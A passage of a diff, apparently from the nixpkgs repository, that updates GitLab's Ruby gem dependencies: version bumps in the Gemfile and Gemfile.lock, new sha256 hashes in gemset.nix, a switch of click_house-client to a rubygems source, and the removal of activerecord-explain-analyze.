 # This is locked to 0.6.0 because we patch Net::HTTP#connect in
@@ -752,4 +756,4 @@ gem 'paper_trail', '~> 16.0', feature_category: :shared
 
 gem "i18n_data", "~> 0.13.1", feature_category: :system_access
 
-gem "gitlab-cloud-connector", "~> 1.21", require: 'gitlab/cloud_connector', feature_category: :plan_provisioning
+gem "gitlab-cloud-connector", "~> 1.26", require: 'gitlab/cloud_connector', feature_category: :plan_provisioning
diff --git a/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile.lock b/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile.lock
index f6972cb1ed10..ca23e23c5256 100644
--- a/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile.lock
+++ b/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile.lock
@@ -10,14 +10,6 @@ PATH
     bundler-checksum (0.1.0)
       bundler
 
-PATH
-  remote: gems/click_house-client
-  specs:
-    click_house-client (0.1.0)
-      activesupport (< 8)
-      addressable (~> 2.8)
-      json (~> 2.7)
-
 PATH
   remote: gems/csv_builder
   specs:
@@ -53,15 +45,15 @@ PATH
       faraday (~> 2)
       google-cloud-storage_transfer (~> 1.2.0)
       google-protobuf (~> 3.25, >= 3.25.3)
-      googleauth (~> 1.8.1)
-      grpc (= 1.63.0)
+      googleauth (~> 1.14)
+      grpc (~> 1.74.0)
       json (~> 2.7)
       jwt (~> 2.5)
       logger (~> 1.5)
       minitest (~> 5.11.0)
       mutex_m (~> 0.3)
       parallel (~> 1.19)
-      pg (~> 1.5.6)
+      pg (~> 1.6.1)
       rack (~> 2.2.9)
       rainbow (~> 3.0)
       rexml (~> 3.4.0)
@@ -208,7 +200,7 @@ GEM
       nkf
       rexml
     RedCloth (4.3.4)
-    acme-client (2.0.22)
+    acme-client (2.0.25)
       base64 (~> 0.2)
       faraday (>= 1.0, < 3.0.0)
       faraday-retry (>= 1.0, < 3.0.0)
@@ -270,9 +262,6 @@ GEM
       activemodel (= 7.1.5.1)
       activesupport (= 7.1.5.1)
       timeout (>= 0.4.0)
-    activerecord-explain-analyze (0.1.0)
-      activerecord (>= 4)
-      pg
     activestorage (7.1.5.1)
       actionpack (= 7.1.5.1)
       activejob (= 7.1.5.1)
@@ -337,7 +326,7 @@ GEM
     aws-sdk-cloudformation (1.133.0)
       aws-sdk-core (~> 3, >= 3.225.0)
       aws-sigv4 (~> 1.5)
-    aws-sdk-core (3.225.0)
+    aws-sdk-core (3.226.3)
       aws-eventstream (~> 1, >= 1.3.0)
       aws-partitions (~> 1, >= 1.992.0)
       aws-sigv4 (~> 1.9)
@@ -347,7 +336,7 @@ GEM
     aws-sdk-kms (1.76.0)
       aws-sdk-core (~> 3, >= 3.188.0)
       aws-sigv4 (~> 1.1)
-    aws-sdk-s3 (1.189.0)
+    aws-sdk-s3 (1.193.0)
       aws-sdk-core (~> 3, >= 3.225.0)
       aws-sdk-kms (~> 1)
       aws-sigv4 (~> 1.5)
@@ -432,6 +421,11 @@ GEM
       cork
       nap
       open4 (~> 1.3)
+    click_house-client (0.3.5)
+      activerecord (>= 7.0, < 9.0)
+      activesupport (>= 7.0, < 9.0)
+      addressable (~> 2.8)
+      json (~> 2.7)
     coderay (1.1.3)
     coercible (1.0.0)
       descendants_tracker (~> 0.0.1)
@@ -602,7 +596,7 @@ GEM
     factory_bot_rails (6.5.0)
       factory_bot (~> 6.5)
       railties (>= 6.1.0)
-    faraday (2.13.1)
+    faraday (2.13.4)
       faraday-net_http (>= 2.0, < 3.5)
       json
       logger
@@ -656,7 +650,7 @@ GEM
       fog-json
       ipaddress (~> 0.8)
       xml-simple (~> 1.1)
-    fog-aws (3.27.0)
+    fog-aws (3.28.0)
       base64 (~> 0.2.0)
       fog-core (~> 2.1)
       fog-json (~> 1.1)
@@ -718,20 +712,20 @@ GEM
     git (1.19.1)
       addressable (~> 2.8)
       rchardet (~> 1.8)
-    gitaly (18.1.0.pre.rc1)
+    gitaly (18.2.1)
       grpc (~> 1.0)
     gitlab (4.19.0)
       httparty (~> 0.20)
       terminal-table (>= 1.5.1)
     gitlab-chronic (0.10.6)
       numerizer (~> 0.2)
-    gitlab-cloud-connector (1.21.0)
+    gitlab-cloud-connector (1.26.0)
       activesupport (~> 7.0)
-      jwt (~> 2.9.3)
+      jwt (~> 2.9)
     gitlab-crystalball (1.1.1)
       git (< 4)
       ostruct (< 1)
-    gitlab-dangerfiles (4.9.2)
+    gitlab-dangerfiles (4.10.0)
       danger (>= 9.3.0)
       danger-gitlab (>= 8.0.0)
       rake (~> 13.0)
@@ -747,9 +741,9 @@ GEM
       mime-types
       net-http-persistent (~> 4.0)
       nokogiri (~> 1, >= 1.10.8)
-    gitlab-glfm-markdown (0.0.31)
+    gitlab-glfm-markdown (0.0.33)
       rb_sys (~> 0.9.109)
-    gitlab-kas-grpc (18.1.0)
+    gitlab-kas-grpc (18.2.1)
       grpc (~> 1.0)
     gitlab-labkit (0.39.0)
       actionpack (>= 5.0.0, < 8.1.0)
@@ -769,7 +763,7 @@ GEM
       redis (>= 5, < 6)
       redis-namespace (>= 1.8.2)
     gitlab-markup (2.0.0)
-    gitlab-net-dns (0.12.0)
+    gitlab-net-dns (0.15.0)
       logger
     gitlab-sdk (0.3.1)
       activesupport (>= 5.2.0)
@@ -783,7 +777,7 @@ GEM
       sentry-ruby (~> 5.22)
       stackprof (~> 0.2.27)
       toml-rb (~> 2.2)
-    gitlab-security_report_schemas (0.1.3.min15.0.0.max15.2.2)
+    gitlab-security_report_schemas (0.1.3.min15.0.0.max15.2.3)
       activesupport (>= 6, < 8)
       json_schemer (~> 2.3.0)
       mutex_m (~> 0.3.0)
@@ -803,17 +797,17 @@ GEM
       omniauth (>= 1.3, < 3)
       pyu-ruby-sasl (>= 0.0.3.3, < 0.1)
       rubyntlm (~> 0.5)
-    gitlab_quality-test_tooling (2.10.0)
+    gitlab_quality-test_tooling (2.18.0)
       activesupport (>= 7.0, < 7.3)
       amatch (~> 0.4.1)
       fog-google (~> 1.24, >= 1.24.1)
-      gitlab (>= 4.19, < 6.0)
+      gitlab (>= 4.19, < 7.0)
       http (~> 5.0)
       influxdb-client (~> 3.1)
       nokogiri (~> 1.10)
       parallel (>= 1, < 2)
       rainbow (>= 3, < 4)
-      rspec-parameterized (~> 1.0.0)
+      rspec-parameterized (>= 1.0, < 3.0)
       table_print (= 1.5.7)
       zeitwerk (>= 2, < 3)
     globalid (1.1.0)
@@ -823,31 +817,32 @@ GEM
       i18n (>= 0.7)
       multi_json
       request_store (>= 1.0)
-    google-apis-androidpublisher_v3 (0.34.0)
-      google-apis-core (>= 0.9.1, < 2.a)
+    google-apis-androidpublisher_v3 (0.84.0)
+      google-apis-core (>= 0.15.0, < 2.a)
+    google-apis-bigquery_v2 (0.90.0)
+      google-apis-core (>= 0.15.0, < 2.a)
     google-apis-cloudbilling_v1 (0.22.0)
       google-apis-core (>= 0.9.1, < 2.a)
     google-apis-cloudresourcemanager_v1 (0.31.0)
       google-apis-core (>= 0.9.1, < 2.a)
-    google-apis-compute_v1 (0.57.0)
-      google-apis-core (>= 0.9.1, < 2.a)
-    google-apis-container_v1 (0.43.0)
-      google-apis-core (>= 0.9.1, < 2.a)
+    google-apis-compute_v1 (0.127.0)
+      google-apis-core (>= 0.15.0, < 2.a)
+    google-apis-container_v1 (0.100.0)
+      google-apis-core (>= 0.15.0, < 2.a)
     google-apis-container_v1beta1 (0.43.0)
       google-apis-core (>= 0.9.1, < 2.a)
-    google-apis-core (0.11.2)
+    google-apis-core (0.18.0)
       addressable (~> 2.5, >= 2.5.1)
-      googleauth (>= 0.16.2, < 2.a)
-      httpclient (>= 2.8.1, < 3.a)
+      googleauth (~> 1.9)
+      httpclient (>= 2.8.3, < 3.a)
       mini_mime (~> 1.0)
+      mutex_m
       representable (~> 3.0)
       retriable (>= 2.0, < 4.a)
-      rexml
-      webrick
     google-apis-dns_v1 (0.36.0)
       google-apis-core (>= 0.11.0, < 2.a)
-    google-apis-iam_v1 (0.36.0)
-      google-apis-core (>= 0.9.1, < 2.a)
+    google-apis-iam_v1 (0.73.0)
+      google-apis-core (>= 0.15.0, < 2.a)
     google-apis-iamcredentials_v1 (0.15.0)
       google-apis-core (>= 0.9.0, < 2.a)
     google-apis-monitoring_v3 (0.54.0)
@@ -865,6 +860,14 @@ GEM
       google-cloud-errors (~> 1.0)
       google-cloud-location (>= 0.4, < 2.a)
       grpc-google-iam-v1 (~> 1.1)
+    google-cloud-bigquery (1.52.1)
+      bigdecimal (~> 3.0)
+      concurrent-ruby (~> 1.0)
+      google-apis-bigquery_v2 (~> 0.71)
+      google-apis-core (~> 0.13)
+      google-cloud-core (~> 1.6)
+      googleauth (~> 1.9)
+      mini_mime (~> 1.0)
     google-cloud-common (1.1.0)
       google-protobuf (~> 3.14)
       googleapis-common-protos-types (~> 1.2)
@@ -875,7 +878,7 @@ GEM
     google-cloud-core (1.7.0)
       google-cloud-env (>= 1.0, < 3.a)
       google-cloud-errors (~> 1.0)
-    google-cloud-env (2.1.1)
+    google-cloud-env (2.2.1)
       faraday (>= 1.0, < 3.a)
     google-cloud-errors (1.3.0)
     google-cloud-location (0.6.0)
@@ -895,6 +898,7 @@ GEM
     google-cloud-storage_transfer-v1 (0.8.0)
       gapic-common (>= 0.20.0, < 2.a)
       google-cloud-errors (~> 1.0)
+    google-logging-utils (0.1.0)
     google-protobuf (3.25.8)
     googleapis-common-protos (1.4.0)
       google-protobuf (~> 3.14)
@@ -902,13 +906,15 @@ GEM
       grpc (~> 1.27)
     googleapis-common-protos-types (1.20.0)
       google-protobuf (>= 3.18, < 5.a)
-    googleauth (1.8.1)
-      faraday (>= 0.17.3, < 3.a)
+    googleauth (1.14.0)
+      faraday (>= 1.0, < 3.a)
+      google-cloud-env (~> 2.2)
+      google-logging-utils (~> 0.1)
       jwt (>= 1.4, < 3.0)
       multi_json (~> 1.11)
       os (>= 0.9, < 2.0)
       signet (>= 0.16, < 2.a)
-    gpgme (2.0.24)
+    gpgme (2.0.25)
       mini_portile2 (~> 2.7)
     grape (2.0.0)
       activesupport (>= 5)
@@ -935,20 +941,22 @@ GEM
       grape
       rack
     graphlyte (1.0.0)
-    graphql (2.4.13)
+    graphql (2.5.11)
       base64
       fiber-storage
       logger
-    graphql-docs (5.0.0)
+    graphql-docs (5.2.0)
       commonmarker (~> 0.23, >= 0.23.6)
       escape_utils (~> 1.2)
       extended-markdown-filter (~> 0.4)
       gemoji (~> 3.0)
       graphql (~> 2.0)
       html-pipeline (~> 2.14, >= 2.14.3)
+      logger (~> 1.6)
+      ostruct (~> 0.6)
       sass-embedded (~> 1.58)
-    grpc (1.63.0)
-      google-protobuf (~> 3.25)
+    grpc (1.74.1)
+      google-protobuf (>= 3.25, < 5.0)
       googleapis-common-protos-types (~> 1.0)
     grpc-google-iam-v1 (1.5.0)
       google-protobuf (~> 3.18)
@@ -975,13 +983,13 @@ GEM
     haml (5.2.2)
       temple (>= 0.8.0)
       tilt
-    haml_lint (0.62.0)
+    haml_lint (0.64.0)
       haml (>= 5.0)
       parallel (~> 1.10)
       rainbow
       rubocop (>= 1.0)
       sysexits (~> 1.1)
-    hamlit (2.15.0)
+    hamlit (3.0.3)
       temple (>= 0.8.2)
       thor
       tilt
@@ -995,8 +1003,8 @@ GEM
     html-pipeline (2.14.3)
       activesupport (>= 2)
       nokogiri (>= 1.4)
-    html2text (0.2.0)
-      nokogiri (~> 1.6)
+    html2text (0.4.0)
+      nokogiri (>= 1.0, < 2.0)
     htmlbeautifier (1.4.2)
     htmlentities (4.3.4)
     http (5.1.1)
@@ -1025,10 +1033,10 @@ GEM
       parser (>= 2.5, != 2.5.1.1)
     influxdb-client (3.2.0)
       csv
-    invisible_captcha (2.1.0)
+    invisible_captcha (2.3.0)
       rails (>= 5.2)
     io-console (0.8.0)
-    io-event (1.9.0)
+    io-event (1.12.1)
     ipaddress (0.8.3)
     irb (1.15.1)
       pp (>= 0.6.0)
@@ -1044,11 +1052,11 @@ GEM
       multipart-post
       oauth (~> 0.5, >= 0.5.0)
     jmespath (1.6.2)
-    js_regex (3.8.0)
+    js_regex (3.13.0)
       character_set (~> 1.4)
-      regexp_parser (~> 2.5)
+      regexp_parser (~> 2.10)
       regexp_property_values (~> 1.0)
-    json (2.11.3)
+    json (2.13.1)
     json-jwt (1.16.6)
       activesupport (>= 4.2)
       aes_key_wrap
@@ -1067,7 +1075,7 @@ GEM
       pg (>= 0.18.1)
     jsonpath (1.1.2)
       multi_json
-    jwt (2.9.3)
+    jwt (2.10.2)
       base64
     kaminari (1.2.2)
       activesupport (>= 4.1.0)
@@ -1087,7 +1095,7 @@ GEM
       rexml (>= 3.3.9)
     kramdown-parser-gfm (1.1.0)
       kramdown (~> 2.0)
-    kubeclient (4.11.0)
+    kubeclient (4.12.0)
       http (>= 3.0, < 6.0)
       jsonpath (~> 1.0)
       recursive-open-struct (~> 1.1, >= 1.1.1)
@@ -1095,7 +1103,7 @@ GEM
     language_server-protocol (3.17.0.3)
     launchy (2.5.2)
       addressable (~> 2.8)
-    lefthook (1.11.16)
+    lefthook (1.12.2)
     letter_opener (1.10.0)
       launchy (>= 2.2, < 4)
     letter_opener_web (3.0.0)
@@ -1118,14 +1126,14 @@ GEM
       reverse_markdown (>= 1, < 4)
       rugged (>= 0.24, < 2.0)
       thor (>= 0.19, < 2.0)
-    listen (3.7.1)
+    listen (3.9.0)
       rb-fsevent (~> 0.10, >= 0.10.3)
       rb-inotify (~> 0.9, >= 0.9.10)
     llhttp-ffi (0.4.0)
       ffi-compiler (~> 1.0)
       rake (~> 13.0)
     locale (2.1.4)
-    lockbox (1.3.0)
+    lockbox (1.4.1)
     logger (1.7.0)
     lograge (0.11.2)
       actionpack (>= 4)
@@ -1159,7 +1167,7 @@ GEM
       actionpack (>= 5.2)
       activerecord (>= 5.2)
     matrix (0.4.2)
-    memory_profiler (1.0.1)
+    memory_profiler (1.1.0)
     method_source (1.0.0)
     metrics (0.12.1)
     mime-types (3.5.1)
@@ -1194,14 +1202,14 @@ GEM
       uri
     net-http-persistent (4.0.5)
       connection_pool (~> 2.2)
-    net-imap (0.5.6)
+    net-imap (0.5.9)
       date
       net-protocol
     net-ldap (0.17.1)
     net-ntp (2.1.3)
     net-pop (0.1.2)
       net-protocol
-    net-protocol (0.1.3)
+    net-protocol (0.2.2)
       timeout
     net-scp (4.0.0)
       net-ssh (>= 2.6.5, < 8.0.0)
@@ -1212,7 +1220,7 @@ GEM
     nio4r (2.7.0)
     nkf (0.2.0)
     no_proxy_fix (0.1.2)
-    nokogiri (1.18.8)
+    nokogiri (1.18.9)
       mini_portile2 (~> 2.8.2)
       racc (~> 1.4)
     notiffany (0.1.3)
@@ -1278,7 +1286,7 @@ GEM
     omniauth-oauth2-generic (0.2.8)
       omniauth-oauth2 (~> 1.0)
       rake
-    omniauth-saml (2.2.3)
+    omniauth-saml (2.2.4)
       omniauth (~> 2.1)
       ruby-saml (~> 1.18)
     omniauth-shibboleth-redux (2.0.0)
@@ -1439,7 +1447,7 @@ GEM
       activerecord (>= 6.1)
       request_store (~> 1.4)
     parallel (1.27.0)
-    parser (3.3.8.0)
+    parser (3.3.9.0)
       ast (~> 2.4.1)
       racc
     parslet (1.8.2)
@@ -1448,7 +1456,7 @@ GEM
     pdf-core (0.10.0)
     peek (1.1.0)
       railties (>= 4.0.0)
-    pg (1.5.9)
+    pg (1.6.1)
     pg_query (6.1.0)
       google-protobuf (>= 3.25.3)
     plist (3.7.0)
@@ -1502,7 +1510,7 @@ GEM
       date
       stringio
     public_suffix (6.0.1)
-    puma (6.6.0)
+    puma (6.6.1)
       nio4r (~> 2.0)
     pyu-ruby-sasl (0.0.3.3)
     raabro (1.4.0)
@@ -1586,24 +1594,24 @@ GEM
     rchardet (1.8.0)
     rdoc (6.13.0)
       psych (>= 4.0.0)
-    re2 (2.15.0)
+    re2 (2.19.0)
       mini_portile2 (~> 2.8.7)
     recaptcha (5.12.3)
       json
     recursive-open-struct (1.1.3)
     redcarpet (3.6.0)
-    redis (5.4.0)
+    redis (5.4.1)
       redis-client (>= 0.22.0)
     redis-actionpack (5.5.0)
       actionpack (>= 5)
       redis-rack (>= 2.1.0, < 4)
       redis-store (>= 1.1.0, < 2)
-    redis-client (0.22.2)
+    redis-client (0.25.1)
       connection_pool
-    redis-cluster-client (0.11.0)
-      redis-client (~> 0.22)
-    redis-clustering (5.4.0)
-      redis (= 5.4.0)
+    redis-cluster-client (0.13.5)
+      redis-client (~> 0.24)
+    redis-clustering (5.4.1)
+      redis (= 5.4.1)
       redis-cluster-client (>= 0.10.0)
     redis-namespace (1.11.0)
       redis (>= 4)
@@ -1636,7 +1644,7 @@ GEM
     rexml (3.4.1)
     rinku (2.0.0)
     rotp (6.3.0)
-    rouge (4.5.2)
+    rouge (4.6.0)
     rqrcode (2.2.0)
       chunky_png (~> 1.0)
       rqrcode_core (~> 1.0)
@@ -1789,7 +1797,7 @@ GEM
       globalid (>= 1.0.1)
       sidekiq (>= 6)
     sigdump (0.2.5)
-    signet (0.18.0)
+    signet (0.19.0)
       addressable (~> 2.8)
       faraday (>= 0.17.5, < 3.a)
       jwt (>= 1.5, < 3.0)
@@ -1899,7 +1907,7 @@ GEM
     text (1.3.1)
     thor (1.3.1)
     thread_safe (0.3.6)
-    thrift (0.16.0)
+    thrift (0.22.0)
     tilt (2.0.11)
     timeout (0.4.3)
     timfel-krb5-auth (0.8.3)
@@ -1950,7 +1958,7 @@ GEM
     tzinfo (2.0.6)
       concurrent-ruby (~> 1.0)
     uber (0.1.0)
-    undercover (0.7.0)
+    undercover (0.7.4)
       base64
       bigdecimal
       imagen (>= 0.2.0)
@@ -2049,7 +2057,6 @@ DEPENDENCIES
   CFPropertyList (~> 3.0.0)
   RedCloth (~> 4.3.3)
   acme-client (~> 2.0.19)
-  activerecord-explain-analyze (~> 0.1)
   activerecord-gitlab!
   addressable (~> 2.8)
   akismet (~> 3.0)
@@ -2065,8 +2072,8 @@ DEPENDENCIES
   attr_encrypted (~> 4.2)
   awesome_print
   aws-sdk-cloudformation (~> 1)
-  aws-sdk-core (~> 3.225.0)
-  aws-sdk-s3 (~> 1.189.0)
+  aws-sdk-core (~> 3.226.0)
+  aws-sdk-s3 (~> 1.193.0)
   axe-core-rspec (~> 4.10.0)
   babosa (~> 2.0)
   base32 (~> 0.3.0)
@@ -2084,7 +2091,7 @@ DEPENDENCIES
   carrierwave (~> 1.3)
   charlock_holmes (~> 0.7.9)
   circuitbox (= 2.0.0)
-  click_house-client!
+  click_house-client (= 0.3.5)
   commonmarker (~> 0.23.10)
   concurrent-ruby (~> 1.1)
   connection_pool (~> 2.5.3)
@@ -2140,56 +2147,57 @@ DEPENDENCIES
   gettext (~> 3.5, >= 3.5.1)
   gettext_i18n_rails (~> 1.13.0)
   git (~> 1.8)
-  gitaly (~> 18.1.0.pre.rc1)
+  gitaly (~> 18.2.0)
   gitlab-active-context!
   gitlab-backup-cli!
   gitlab-chronic (~> 0.10.5)
-  gitlab-cloud-connector (~> 1.21)
+  gitlab-cloud-connector (~> 1.26)
   gitlab-crystalball (~> 1.1.0)
-  gitlab-dangerfiles (~> 4.9.0)
+  gitlab-dangerfiles (~> 4.10.0)
   gitlab-duo-workflow-service-client (~> 0.2)!
   gitlab-experiment (~> 0.9.1)
   gitlab-fog-azure-rm (~> 2.2.0)
-  gitlab-glfm-markdown (~> 0.0.31)
+  gitlab-glfm-markdown (~> 0.0.33)
   gitlab-housekeeper!
   gitlab-http!
-  gitlab-kas-grpc (~> 18.1.0)
+  gitlab-kas-grpc (~> 18.2.0)
   gitlab-labkit (~> 0.39.0)
   gitlab-license (~> 2.6)
   gitlab-mail_room (~> 0.0.24)
   gitlab-markup (~> 2.0.0)
-  gitlab-net-dns (~> 0.12.0)
+  gitlab-net-dns (~> 0.15.0)
   gitlab-rspec!
   gitlab-rspec_flaky!
   gitlab-safe_request_store!
   gitlab-schema-validation!
   gitlab-sdk (~> 0.3.0)
   gitlab-secret_detection (< 1.0)
-  gitlab-security_report_schemas (= 0.1.3.min15.0.0.max15.2.2)
+  gitlab-security_report_schemas (= 0.1.3.min15.0.0.max15.2.3)
   gitlab-sidekiq-fetcher!
   gitlab-styles (~> 13.1.0)
   gitlab-topology-service-client (~> 0.1)!
   gitlab-utils!
   gitlab_chronic_duration (~> 0.12)
   gitlab_omniauth-ldap (~> 2.2.0)
-  gitlab_quality-test_tooling (~> 2.10.0)
+  gitlab_quality-test_tooling (~> 2.18.0)
   gon (~> 6.4.0)
-  google-apis-androidpublisher_v3 (~> 0.34.0)
+  google-apis-androidpublisher_v3 (~> 0.84.0)
   google-apis-cloudbilling_v1 (~> 0.22.0)
   google-apis-cloudresourcemanager_v1 (~> 0.31.0)
-  google-apis-compute_v1 (~> 0.57.0)
-  google-apis-container_v1 (~> 0.43.0)
+  google-apis-compute_v1 (~> 0.127.0)
+  google-apis-container_v1 (~> 0.100.0)
   google-apis-container_v1beta1 (~> 0.43.0)
-  google-apis-core (~> 0.11.0, >= 0.11.1)
-  google-apis-iam_v1 (~> 0.36.0)
+  google-apis-core (~> 0.18.0, >= 0.18.0)
+  google-apis-iam_v1 (~> 0.73.0)
   google-apis-serviceusage_v1 (~> 0.28.0)
   google-apis-sqladmin_v1beta4 (~> 0.41.0)
   google-apis-storage_v1 (~> 0.29)
   google-cloud-artifact_registry-v1 (~> 0.11.0)
+  google-cloud-bigquery (~> 1.0)
   google-cloud-compute-v1 (~> 2.6.0)
   google-cloud-storage (~> 1.45.0)
   google-protobuf (~> 3.25, >= 3.25.3)
-  googleauth (~> 1.8.1)
+  googleauth (~> 1.14)
   gpgme (~> 2.0.24)
   grape (~> 2.0.0)
   grape-entity (~> 1.0.1)
@@ -2198,13 +2206,13 @@ DEPENDENCIES
   grape-swagger-entity (~> 0.5.5)
   grape_logging (~> 1.8, >= 1.8.4)
   graphlyte (~> 1.0.0)
-  graphql (= 2.4.13)
-  graphql-docs (~> 5.0.0)
-  grpc (= 1.63.0)
+  graphql (= 2.5.11)
+  graphql-docs (~> 5.2.0)
+  grpc (~> 1.74.0)
   gssapi (~> 1.3.1)
   guard-rspec
   haml_lint (~> 0.58)
-  hamlit (~> 2.15.0)
+  hamlit (~> 3.0.0)
   hashdiff (~> 1.2.0)
   hashie (~> 5.0.0)
   health_check (~> 3.0)
@@ -2214,25 +2222,26 @@ DEPENDENCIES
   i18n_data (~> 0.13.1)
   icalendar (~> 2.10.1)
   influxdb-client (~> 3.1)
-  invisible_captcha (~> 2.1.0)
+  invisible_captcha (~> 2.3.0)
+  io-event (~> 1.12)
   ipaddress (~> 0.8.3)
   ipynbdiff!
   jira-ruby (~> 2.3.0)
   js_regex (~> 3.8)
-  json (~> 2.11.0)
+  json (~> 2.13.0)
   json_schemer (~> 2.3.0)
   jsonb_accessor (~> 1.4)
-  jwt (~> 2.9.3)
+  jwt (~> 2.10.0)
   kaminari (~> 1.2.2)
   knapsack (~> 4.0.0)
   kramdown (~> 2.5.0)
-  kubeclient (~> 4.11.0)
-  lefthook (~> 1.11.0)
+  kubeclient (~> 4.12.0)
+  lefthook (~> 1.12.0)
   letter_opener_web (~> 3.0.0)
   license_finder (~> 7.0)
   licensee (~> 9.16)
   listen (~> 3.7)
-  lockbox (~> 1.3.0)
+  lockbox (~> 1.4.0)
   logger (~> 1.7.0)
   lograge (~> 0.5)
   loofah (~> 2.24.0)
@@ -2250,7 +2259,7 @@ DEPENDENCIES
   net-http (= 0.6.0)
   net-ldap (~> 0.17.1)
   net-ntp
-  net-protocol (~> 0.1.3)
+  net-protocol (~> 0.2.2)
   nkf (~> 0.2.0)
   nokogiri (~> 1.18)
   oauth2 (~> 2.0)
@@ -2302,10 +2311,10 @@ DEPENDENCIES
   pact (~> 1.64)
   paper_trail (~> 16.0)
   parallel (~> 1.19)
-  parser (= 3.3.8.0)
+  parser (= 3.3.9.0)
   parslet (~> 1.8)
   peek (~> 1.1)
-  pg (~> 1.5.6)
+  pg (~> 1.6.1)
   pg_query (~> 6.1.0)
   png_quantizator (~> 0.2.1)
   prawn
@@ -2315,7 +2324,7 @@ DEPENDENCIES
   pry-byebug
   pry-rails (~> 0.3.9)
   pry-shell (~> 0.6.4)
-  puma (= 6.6.0)
+  puma (= 6.6.1)
   rack (~> 2.2.9)
   rack-attack (~> 6.7.0)
   rack-cors (~> 2.0.1)
@@ -2331,12 +2340,14 @@ DEPENDENCIES
   recaptcha (~> 5.12)
   redis (~> 5.4.0)
   redis-actionpack (~> 5.5.0)
+  redis-client (~> 0.25)
+  redis-cluster-client (~> 0.13)
   redis-clustering (~> 5.4.0)
   request_store (~> 1.7.0)
   responders (~> 3.0)
   retriable (~> 3.1.2)
   rexml (~> 3.4.0)
-  rouge (~> 4.5.0)
+  rouge (~> 4.6.0)
   rqrcode (~> 2.2)
   rspec-benchmark (~> 0.6.0)
   rspec-parameterized (~> 1.0, >= 1.0.2)
@@ -2389,7 +2400,7 @@ DEPENDENCIES
   terser (= 1.0.2)
   test-prof (~> 1.4.0)
   test_file_finder (~> 0.3.1)
-  thrift (>= 0.16.0)
+  thrift (~> 0.22.0)
   timfel-krb5-auth (~> 0.8)
   toml-rb (~> 2.2.0)
   truncato (~> 0.7.13)
diff --git a/pkgs/by-name/gi/gitlab/rubyEnv/gemset.nix b/pkgs/by-name/gi/gitlab/rubyEnv/gemset.nix
index 9042ca7c22c3..ecfa8262a084 100644
--- a/pkgs/by-name/gi/gitlab/rubyEnv/gemset.nix
+++ b/pkgs/by-name/gi/gitlab/rubyEnv/gemset.nix
@@ -9,10 +9,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1xvnj58nln2xa8vlxc1v4zgyda4n387npbcd94z3pjg28fvk8xc1";
+      sha256 = "0c8gxs7vhsl0hi7wnyd9wi3aqmqkm0y77y1k17z9zzc5yywsgfz0";
       type = "gem";
     };
-    version = "2.0.22";
+    version = "2.0.25";
   };
   actioncable = {
     dependencies = [
@@ -208,20 +208,6 @@ src: {
     };
     version = "7.1.5.1";
   };
-  activerecord-explain-analyze = {
-    dependencies = [
-      "activerecord"
-      "pg"
-    ];
-    groups = [ "default" ];
-    platforms = [ ];
-    source = {
-      remotes = [ "https://rubygems.org" ];
-      sha256 = "0yvz452ww0vn3n6197gx6zklwa591gc7f1m8accvjd9zw8gv3ssx";
-      type = "gem";
-    };
-    version = "0.1.0";
-  };
   activerecord-gitlab = {
     dependencies = [ "activerecord" ];
     groups = [ "default" ];
@@ -575,10 +561,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1kafaaa9a2yh2cia6s2bn3m5jmya43l239j2ncbsndcq925xhjkw";
+      sha256 = "0410i5slpj49i3nyqfr6v1mp547vwzcm1kbhj0wf6xsmppfx0wbw";
       type = "gem";
     };
-    version = "3.225.0";
+    version = "3.226.3";
   };
   aws-sdk-kms = {
     dependencies = [
@@ -604,10 +590,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0x3ylssjaq9bvsgs89l601x1fywxzi80dc1xc8zgvzigsyk2yqia";
+      sha256 = "1piv24mpl946a1py6pap9p2hgz38xmks0w1dzbvnv223gjbm9ffc";
       type = "gem";
     };
-    version = "1.189.0";
+    version = "1.193.0";
   };
   aws-sigv4 = {
     dependencies = [ "aws-eventstream" ];
@@ -1133,6 +1119,7 @@ src: {
   };
   click_house-client = {
     dependencies = [
+      "activerecord"
       "activesupport"
       "addressable"
       "json"
@@ -1140,10 +1127,11 @@ src: {
     groups = [ "default" ];
     platforms = [ ];
     source = {
-      path = "${src}/gems/click_house-client";
-      type = "path";
+      remotes = [ "https://rubygems.org" ];
+      sha256 = "0lf1lr3h9bfzyfrh5m8v5p900ld545y13vks1gyy163riyi8wfxx";
+      type = "gem";
     };
-    version = "0.1.0";
+    version = "0.3.5";
   };
   coderay = {
     groups = [
@@ -2199,10 +2187,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0xbv450qj2bx0qz9l2pjrd3kc057y6bglc3na7a78zby8ssiwlyc";
+      sha256 = "09mcghancmn0s5cwk2xz581j3xm3xqxfv0yxg75axnyhrx9gy6f7";
       type = "gem";
     };
-    version = "2.13.1";
+    version = "2.13.4";
   };
   faraday-follow_redirects = {
     dependencies = [ "faraday" ];
@@ -2498,10 +2486,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1f67gjmvpcdql5mh4z9z0i03snwx80q7y37nyp1bgryb61gic4vm";
+      sha256 = "1kb7jlynlf4ppjp0vyp02kyajpr86k8z64pakjz18f8jxc9pwbkx";
       type = "gem";
     };
-    version = "3.27.0";
+    version = "3.28.0";
   };
   fog-core = {
     dependencies = [
@@ -2750,10 +2738,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "02p7ysnali576bpdivlgnx31h4zwmg7aggx4kwfck51npg2s0rcg";
+      sha256 = "1cwvbk5ijg41rrghcljjqkf8dnp1cc4l5576460fqadwgmfi62bl";
       type = "gem";
     };
-    version = "18.1.0.pre.rc1";
+    version = "18.2.1";
   };
   gitlab = {
     dependencies = [
@@ -2844,10 +2832,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "02bpl0jz8m7kfa5alkc90cbajkxy5fggva10zh7cgii3y912msqn";
+      sha256 = "1k0b1wanf53lrymh3np0m5k12kc93w99rrzvw5lpv2zjwwmgij61";
       type = "gem";
     };
-    version = "1.21.0";
+    version = "1.26.0";
   };
   gitlab-crystalball = {
